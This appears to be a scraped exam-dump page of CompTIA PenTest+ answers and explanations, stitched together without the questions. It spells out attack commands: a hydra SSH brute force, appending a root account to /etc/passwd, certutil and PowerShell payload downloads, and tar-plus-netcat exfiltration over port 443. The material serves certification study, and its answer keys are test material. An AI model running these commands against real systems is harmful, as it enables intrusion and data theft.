PT0-003 Exam Dumps - CompTIA PenTest+ Questions and Answers

The tester is attempting to register a malicious DLL as a server-level plugin to escalate privileges.

Privilege escalation (Option B):

The command uses dnscmd.exe, a legitimate Windows tool for managing DNS servers.

By setting a malicious DLL (adduser.dll) as a server-level plugin, attackers can gain SYSTEM-level privileges.

This technique is a DLL hijacking attack.

This attack attempts to manipulate the API by fuzzing the authorization token (Authorization: Bearer (FUZZ)). This suggests an attempt to bypass authentication or escalate privileges by using an invalid, stolen, or guessed token—a form of API abuse.

Option A (Directory traversal) ❌:

Involves manipulating file paths (e.g., ../../../etc/passwd), but this attack targets API authentication.

Option B (API abuse) ✅:

Correct. Fuzzing the authorization token suggests an attempt to bypass authentication or test for weak API security.

Option C (Server-side request forgery - SSRF) ❌:

SSRF manipulates backend requests to make unauthorized HTTP calls, which is not evident here.

Option D (Privilege escalation) ❌:

While API abuse may lead to privilege escalation, fuzzing the token alone does not directly escalate privileges.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – API Security Testing & Authentication Bypasses

Containers (e.g., Docker, Kubernetes) require specialized scanning tools to detect vulnerabilities.

Trivy (Option B):

Trivy is an open-source vulnerability scanner designed specifically for containers and Kubernetes environments.

It scans container images, repositories, and running containers for known vulnerabilities (CVEs).

The command that would most likely exploit the services is:

hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

The appropriate set of commands to escalate privileges is:

echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd

The remediations that should be taken after the successful privilege escalation are:

Remove the SUID bit from cp.

Make backup script not world-writable.

Comprehensive Step-by-Step Explanation of the Simulation

Part 1: Exploiting Vulnerable Service

Nmap Scan Analysis

Command: nmap -sC -T4 192.168.10.2

Purpose: This command runs a default script scan with timing template 4 (aggressive).

Output:

bash

Copy code

Port State Service

22/tcp open ssh

23/tcp closed telnet

80/tcp open http

111/tcp closed rpcbind

445/tcp open samba

3389/tcp closed rdp

Ports open are SSH (22), HTTP (80), and Samba (445).

Enumerating Samba Shares

Command: enum4linux -S 192.168.10.2

Purpose: To enumerate Samba shares and users.

Output:

makefile

Copy code

user:[games] rid:[0x3f2]

user:[nobody] rid:[0x1f5]

user:[bind] rid:[0x4ba]

user:[proxy] rid:[0x42]

user:[syslog] rid:[0x4ba]

user:[www-data] rid:[0x42a]

user:[root] rid:[0x3e8]

user:[news] rid:[0x3fa]

user:[lowpriv] rid:[0x3fa]

We identify a user lowpriv.

Selecting Exploit Command

Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.

Explanation:

-l lowpriv: Specifies the username.

-P 500-worst-passwords.txt: Specifies the password list.

-t 4: Uses 4 tasks/threads for the attack.

ssh://192.168.10.2:22: Specifies the SSH service and port.

Executing the Hydra Command

Result: Successful login as lowpriv user if a match is found.

Part 2: Privilege Escalation and Remediation

Finding SUID Binaries and Configuration Files

Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l

Purpose: To find world-writable files.

Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l

Purpose: To find files with SUID permission.

Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7

Purpose: To identify users with bash shell access.

Selecting Privilege Escalation Command

Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd

Purpose: To create a new root user entry in the passwd file.

Explanation:

root2: Username.

5ZOYXRFHVZ7OY: Password hash.

::0:0: User and group ID (root).

/root: Home directory.

/bin/bash: Default shell.

Executing the Privilege Escalation Command

Result: Creation of a new root user root2 with a specified password.

Remediation Steps Post-Exploitation

Remove SUID Bit from cp:

Command: chmod u-s /bin/cp

Purpose: Removing the SUID bit from cp to prevent misuse.

Make Backup Script Not World-Writable:

Command: chmod o-w /path/to/backup/script

Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.

Execution and Verification

Verifying Hydra Attack:

Run the Hydra command and monitor for successful login attempts.

Verifying Privilege Escalation:

After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.

Implementing Remediation:

Apply the remediation commands to secure the system and verify the changes have been implemented.

By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here’s why:

Using certutil.exe:

Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.

Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.

Comparison with Other Commands:

powershell.exe impo C:\tools\foo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.

powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/ ") (C): Incorrect syntax for downloading and executing a script.

rundll32.exe c:\path\foo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.

Using certutil.exe to download and execute a payload is a common and effective method.

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The Wayback Machine is an online tool that archives web pages over time, allowing users to see how a website looked at various points in its history. This can be extremely useful for penetration testers looking to explore potential security weaknesses by searching for subdomains that might have existed in the past.

Accessing the Wayback Machine:

Go to the Wayback Machine website: archive.org/web.

Enter the URL of the target website you want to explore.

Navigating Archived Pages:

The Wayback Machine provides a timeline and calendar interface to browse through different snapshots taken over time.

Select a snapshot to view the archived version of the site. Look for links, subdomains, and resources that may no longer be available in the current version of the website.

Identifying Subdomains:

Examine the archived pages for references to subdomains, which might be visible in links, scripts, or embedded content.

Use the information gathered to identify potential entry points or older versions of web applications that might still be exploitable.

Tool Integration:

Tools like Burp Suite or SpiderFoot can integrate with the Wayback Machine to automate the discovery process of archived subdomains and resources.

Real-World Example:

During a penetration test, a tester might find references to oldadmin.targetsite.com in an archived page from several years ago. This subdomain might no longer be listed in DNS but could still be accessible, leading to potential security vulnerabilities.

References from Pentesting Literature:

In various penetration testing guides and HTB write-ups, using the Wayback Machine is a common technique for passive reconnaissance, providing historical context and revealing past configurations that might still be exploitable.

Step-by-Step ExplanationReferences:

HTB Official Writeups

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Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:

Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).

Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).

Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

Block: All other traffic (*).

Breakdown of Options:

Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 443 < /tmp/data.tar.gz

This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.

Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0/24), this command adheres to the policy and is the correct choice.

Option B: gzip /path/to/data && cp data.gz 443

This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.

Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 22

This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.

Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz

This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port 22, this command will not work.

References from Pentest:

Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A​​.

Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc​​.

Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port​​.

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Stakeholder Alignment:

During stakeholder alignment, the penetration tester and client discuss challenges, constraints, and objectives.

Addressing WAF interference ensures the scope and goals are adjusted or mitigated to accommodate the issue.

Why Not Other Options?

A: Goal reprioritization focuses on internal team adjustments, not client collaboration.

B: Peer review evaluates findings and methodologies but doesn’t involve clients.

C: Client acceptance occurs post-assessment, not during active engagement.

CompTIA Pentest+ References:

Domain 1.0 (Planning and Scoping)

At the end of a penetration test, handling sensitive data properly ensures compliance with legal, regulatory, and ethical guidelines.

Securely destroy or remove all engagement-related data (Option B):

Ensures confidentiality of test results.

Prevents unauthorized access to client information.

Methods include secure wiping tools (shred, sdelete), and encrypted storage deletion.

A blind web application test means that the tester has no prior knowledge of the application's internal workings. The best tool for automated scanning and vulnerability detection is a web application proxy such as OWASP ZAP.

ZAP (Option A):

OWASP Zed Attack Proxy (ZAP) is a widely used web application scanner for finding common vulnerabilities (e.g., SQL injection, XSS, authentication flaws).

It provides passive and active scanning features to test web applications for security weaknesses.